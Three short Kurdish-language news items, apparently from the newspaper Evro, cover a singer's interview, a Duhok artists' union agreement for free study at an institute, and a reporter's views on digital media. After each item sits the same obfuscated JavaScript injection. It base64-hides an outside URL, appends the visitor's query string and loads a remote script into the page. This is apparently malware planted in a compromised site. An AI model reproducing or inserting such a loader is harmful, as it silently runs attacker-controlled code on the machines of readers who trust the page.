هەرهین محەمەد:

سترانبێژ (شرینا خانی) كو ژ رۆژهەلاتی كوردستانێ‌ یە، د دیدارەكێ‌ دا بۆ رۆژنامەیا ئەڤرۆ دیاركر كو بەری چەندەكێ‌ وێ‌ كلیپەك ب ناڤێ‌ (هەروە بوو) بەلاڤكر، كو سترانەكا فۆلكلۆری بوو ل ستەمبۆلێ‌ هاتیە وێنەكرن مۆزیك سینان بوز، دەرهێنەر جانەر یلدرم.
ناڤهاتیێ‌ گۆت: سترانان دبێژم نەكو دامفایەكێ‌ ژێ بینم وەكو داهات بتنێ‌ ستانان بۆ حەزا دلێ‌ خۆ دبێژم و گەلەك ژ مێژە نینە هاتیمە دناڤ مەیدانا سترانگۆتنێ‌ دا، بەلێ‌ من هەتا رادەیەكی بەرنیاس بۆبمە و ئەڤ ژنوو سالەكە هاتیمە هەرێما كوردستانێ‌ و و ل رۆژهەلات من تورێن جڤاكی نەبوون و نەدشیا م سترانان بێژم و د وان توران دا بەلاڤ بكەم و ئەڤە نێزیكی چار سالانە كلیپان چێدكەم و بەلاڤدكەم و پتر دهێمە نیاسین و پتریا سترانبێژێن مە داخبارا دەنگێ‌ هونەرمەند عەیشەشانێ‌ و مریەم خانێ‌ بووینە، چنكو بووینە قوتابخانە بۆ سترانبێژێن نویخاز و كەس نەشێت بێژیت حەزژ دەنگێ‌ وان ناكەم، چونكو دەنگێ‌ وان یێ‌ تایبەتە و هەركەسەك حەزژێدكەن، بۆ زانین ئەز بەردەوام دچمە دەواتان و گەلەك سترانبێژان داخوازا سترانا دوقۆلی ژ من كرینە، بەلێ‌ هەتا نوكە من هزرا وێ‌ چەندێ‌ نەكریە و رەتكرینە و هەكە بێژم ژی دڤێت دەنگێ‌ مە ل گەل بگونجیت داكو گوهدارو بینەر خۆشیەكێ‌ ژێ‌ ببینن.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

شاكر ئەتروشی:

سەندیكا هونەرمەندێن كوردستانێ‌/لقێ‌ دهۆك، ل رۆژا 26/6/2024 گریًَبەستەك ل گەل پەیمانگەها داسنیا یا ناحكۆمی، ئیمزاكر و ل دووف وێ‌ گرێبەستێ‌ بۆ دەمێ‌ پێنج سالان ئەندامێن سەندیكایێ‌ دێ‌ ل وێ‌ پەیمانگەهێ‌ (بێ‌ بەرامبەر) خوینن و بۆ سالا 2023-2024 هەشت هونەرمەند هاتینە وەرگرتن و بۆ ئەندامێن دی ژی ب رێژا 30% دێ‌ داشكاندنا سالانە هەبیت.
ئەڤین حسێن، سەرۆكا سەندیكا هونەرمەندێن كوردستانێ‌/لقێ‌ دهۆك، بۆ رۆژناما ئەڤرۆ گۆت: بۆ پێشڤەبرنا كەرتێ‌ هونەری ل پارێزگەها دهۆكێ‌ ب شێوەیەكێ‌ ئەكادیمی، ل رۆژا 8/8/2023 كۆمبوونەك دناڤبەرا مە وەك سەندیكا ل گەل پەیمانگەها داسنیا یا ناحكومی یا خودانێ‌ وێ‌ (هەرمان نزاركی) هاتەكرن، دوێ‌ كۆمبوونێ‌ دا رازیبوون هاتە وەرگرتن كو هەر ژ ئەڤ سالە هەشت هونەرمەندێن ئەندامێن مە بهێنە وەرگرتن، كو ئەو ژی چار مۆزیكژەن و چار شێوەكارن دێ‌ بۆ دەمێ‌ پێنح سالان ل وێ‌ پەیمانگەهێ‌ خوینن و چو پارە ژێ‌ ناهێنە وەرگرتن، هەلبەت ئەڤە دەستكەفتەكێ‌ باش و پێنگاڤەكا پیرۆزە و بۆ سالێن بهێن ژی ل دووف هندەك رێنمایان هژمارەكا دی یا ئەندامێن مە چنە وێ‌ پەیمانگەهێ‌.
هەروەسا گۆت: بەری ڤێ‌ دەستپێشخەریی مە گرێبەست ل گەل هژمارەكا نۆژدارێن دهۆكێ‌ و چەند تاقیگەهین شرۆڤەكرنا نەخۆشیان هەنە و هەردەمێ‌ ئەندامەكێ‌ سەندیكایێ‌ ب مەرەما چارەسەریێ‌ سەرەدانا وان دكەن ب رێژەیەكا گەلەك باش داشكاندن بۆ دهێتە كرن، هەروەسا چوونا ژۆرا ئەندامێن مە بۆ دەف هندەك نۆژداران ئەو ژی یا بێ‌ بەرامبەرە.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

بێوار حەمدی:

راگەهاندكار(شڤان عەبدوللا) د دیدارەكێ‌ دا بۆ رۆژناما ئەڤرۆ گۆت: ئەز نوكە ل دیجیتال مەدیایا 964 وەكو پەیامنێر كاردكەم
و من ئەڤە كارە هەلبژارت دا پێ‌ خزمەتا باژێرێ‌ خوە بكەم، چنكو ب رێیا رۆژنامەڤانیێ‌ مرۆڤ بزاڤێ‌ دكەت دیاردە و كێماسیان چارەبكەت.
هەروەسا گۆت: سەبارەت خزمەتكرنێ‌ ئەز دبینم كو پەیامنێرێ‌ تەلفزیۆنێ‌ یان ێ‌ دیجیتال مەدیایێ‌ هەردوك ئێك خزمەت دكەن، لێ‌ گەهاندنا پەیامی د بیاڤێ‌ دەمی دا پتر گرێدای پەیامنێرێ‌ دجیتال مەدیایێ‌ یە پەیاما وی زووتر دگەهیت و ئەڤە دبیتە ئەگەر كو بینەر پتر گرنگیێ‌ بدەنە سۆشیال مەدیایێ‌ و هندەك كەتال ب زۆری خوە دگەل رۆژەڤێ‌ دگونجینن و بابەتێن خوە ل سۆشیالێ‌ بەلاڤ دكەن بەری ل شاشێ‌ بەخش بكەن، ئەڤە ژی ڤەدگەریت بۆ كارتێكرنا زێدە یا مەدیایێن دجیتال.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();